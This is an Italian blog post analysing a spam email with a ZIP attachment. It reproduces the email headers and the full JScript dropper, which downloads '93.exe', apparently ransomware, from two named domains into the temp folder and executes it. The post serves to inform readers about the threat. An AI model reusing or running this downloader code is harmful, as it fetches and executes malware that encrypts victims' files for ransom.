mercoledì 3 febbraio 2016

W32 Ramsonware 93.exe

Ieri frugando nello spam di GMail ho trovato un messaggio proveniente da un mio parente con l'indicazione di un rischio legato al file in allegato denominato Jgw.zip.

La prima cosa curiosa guardando l'header della mail e' che l'indirizzo corrisponde a quella del mio parente solo nella username e non del dominio (che risulta essere biscuitmusic.com, un sito giapponese, al posto di libero.it)

--------------------------------
Delivered-To: lucxxxxxx@gmail.com
Received: by 10.28.60.11 with SMTP id j11csp1824576wma;
        Sat, 30 Jan 2016 14:51:08 -0800 (PST)
X-Received: by 10.50.131.201 with SMTP id oo9mr3891354igb.68.1454194268656;
        Sat, 30 Jan 2016 14:51:08 -0800 (PST)
Return-Path: <xxxxx@biscuitmusic.com>
Received: from smtp310.phy.lolipop.jp (smtp310.phy.lolipop.jp. [210.157.22.78])
        by mx.google.com with ESMTP id jn5si5379918igb.40.2016.01.30.14.51.07;
        Sat, 30 Jan 2016 14:51:08 -0800 (PST)
Received-SPF: neutral (google.com: 210.157.22.78 is neither permitted nor denied by best guess record for domain of xxxxxxxx@biscuitmusic.com) client-ip=210.157.22.78;
Authentication-Results: mx.google.com;
       spf=neutral (google.com: 210.157.22.78 is neither permitted nor denied by best guess record for domain of xxxxxxx@biscuitmusic.com) smtp.mailfrom=xxxxxxx@biscuitmusic.com
Received: from smtp310.phy.lolipop.lan (HELO smtp310.phy.lolipop.jp) (172.17.1.10)
  (smtp-auth username sato@biscuitmusic.com, mechanism plain)
  by smtp310.phy.lolipop.jp (qpsmtpd/0.82) with ESMTPA; Sun, 31 Jan 2016 07:51:07 +0900
Received: from 186.64.232.94 (186.64.232.94)
 by smtp310.phy.lolipop.jp (LOLIPOP-Fsecure);
 Sun, 31 Jan 2016 07:50:48 +0900 (JST)
X-Spam-Status: Yes(LOLIPOP-Fsecure) with VIRUSGW/SPAM_RBL/186.64.232.94[bl.spamcop.net:127.0.0.2]
X-Virus-Status: clean(LOLIPOP-Fsecure)
Message-ID: <9753AAE9DA198CA1FC6E4AB2E048A630@smtp.lolipop.jp>
From: "xxxxxxx" <xxxxxxx@biscuitmusic.com>
To: xxxxxxxxxxxxxxxxxxxxxxxxxxxx
Subject: =?ISO-8859-1?Q?1=2F20=2F2016_11=3A49=3A25_PM?=
Date: Tue, 20 Jan 2016 11:49:25 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="----=_NextPart_000_F7A3_CF9742FB.005289E3"
X-Priority: 3
X-MSMail-Priority: Normal
Importance: Normal
X-Mailer: Microsoft Windows Live Mail 16.4.3522.110
X-MIMEOLE: Produced By Microsoft MimeOLE V16.4.3522.110

This is a multi-part message in MIME format.

------=_NextPart_000_F7A3_CF9742FB.005289E3
Content-Type: multipart/alternative;
 boundary="----=_NextPart_000_3DE5_CF97430A.5525FFAB"

------=_NextPart_000_3DE5_CF97430A.5525FFAB
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
--------------------------------

E' scattata subito la curiosita' di capire cosa fosse e sono passato sotto Linux per evitare sorprese con qualche virus
Una volta decompresso il file zip vi era contenuto il file invoice_copy_JJBtlo.js. Aprendo con un editore e' apparso subito che si tratta di un sistema per scaricare il file http://skuawill.com/93.exe sulla macchina locale e mandarlo in esecuzione
(ATTENZIONE : alle 23.00 del 2 febbraio 2016 questo indirizzo era ancora attivo era possibile scaricare l'eseguibile del file)

in pratica il file Js e' uno script di shell di Windows che scarica il file e lo mette in TMP e lo nomina come 35184372088832 che corrisponde al 2 elevato alla 45
--------------------------------
var STATUS_OK = 200;
var METHOD_GET = "GET";
var METHOD_EXEC = "Exec";
var W_SCRIPT_SHELL = "WScript.Shell";
var MSXML2_XMLHTTP = "MSXML2.XMLHTTP";
var ADODB = "ADODB";
var STREAM = "Stream";
var TEMP_ENV = "%TEMP%\\";
var EXE_EXTENSION = ".exe";
var MIN_FILE_SIZE = 20000;

var URLS = ["http://skuawill.com/93.exe","http://skuawillbil.com/93.exe"];
var FILE_NAME = 35184372088832;


var wShell = WScript.CreateObject(W_SCRIPT_SHELL);
var httpRequest = WScript.CreateObject(MSXML2_XMLHTTP);
var stream = WScript.CreateObject(ADODB+"."+STREAM);

var tmpDir = wShell.ExpandEnvironmentStrings(TEMP_ENV);
var storedFilePathName = tmpDir + FILE_NAME + EXE_EXTENSION;


for (var v = 0; v < URLS.length; v++) {
    try {
        var url = URLS[v];
        httpRequest.open(METHOD_GET, url, false);
        httpRequest.send();
        if (httpRequest.status == STATUS_OK) {
            try {
                stream.open();
                stream.type = 1;
                stream.write(httpRequest.responseBody);
                if (stream.size > MIN_FILE_SIZE) {
                    v = URLS.length;
                    stream.position = 0;
                    stream.saveToFile(storedFilePathName, 2);
                }
            } finally {
                stream.close();
            }
        }
    }
    catch (ignored) {
    }
}
wShell[METHOD_EXEC](tmpDir + Math.pow(2, 45));
--------------------------------
Passando il file exe in un editor esadecimale si vede che e' un file EXE di Windows (l'intestazione e' correttamente MZ quindi nessun pericolo a giocare con Mac e Linux), ha una dimensione di 508 Kb e frugando tra le stringhe si trova qualcosa di leggibile solo in coda al file (dalla posizione 494784 in poi)  ma una ricerca su Google delle stringhe non porta da nessuna parte di precisa

Aggiornamento : e' presente il riferimento ad un linguaggio di scripting denominato Edify per modificare file binari (fare l'update) partendo da un file .zip. Viene citato come in uso dalla catena di build di CyanogenMod. Ho il sospetto che il codice sia compresso e cio' nasconde le stringhe critiche

La cosa piu' preoccupante (oltre al fatto che il server non risulta filtrato e continua a distribuire il file 93.exe) e' che su VirusTotal il file viene riconosciuto come malware solo da 14 su 54 antivirus (in alcuni casi con un nome generico mentre su altri antivirus come Tesla)
In ogni caso c'e' abbastanza concordia nel dire che si tratti di un ramsonware o filelocker, un programma che cripta in maniera forte i dati della vittima e chiede un riscatto in bitcoin per ottenere la chiave crittografica di decompressione




Nessun commento:

Posta un commento

Dockerizza Flask

Un esempio semplice per inserire in un container Docker una applicazione Flask Partiamo da una semplice applicazione che ha un file app.py ...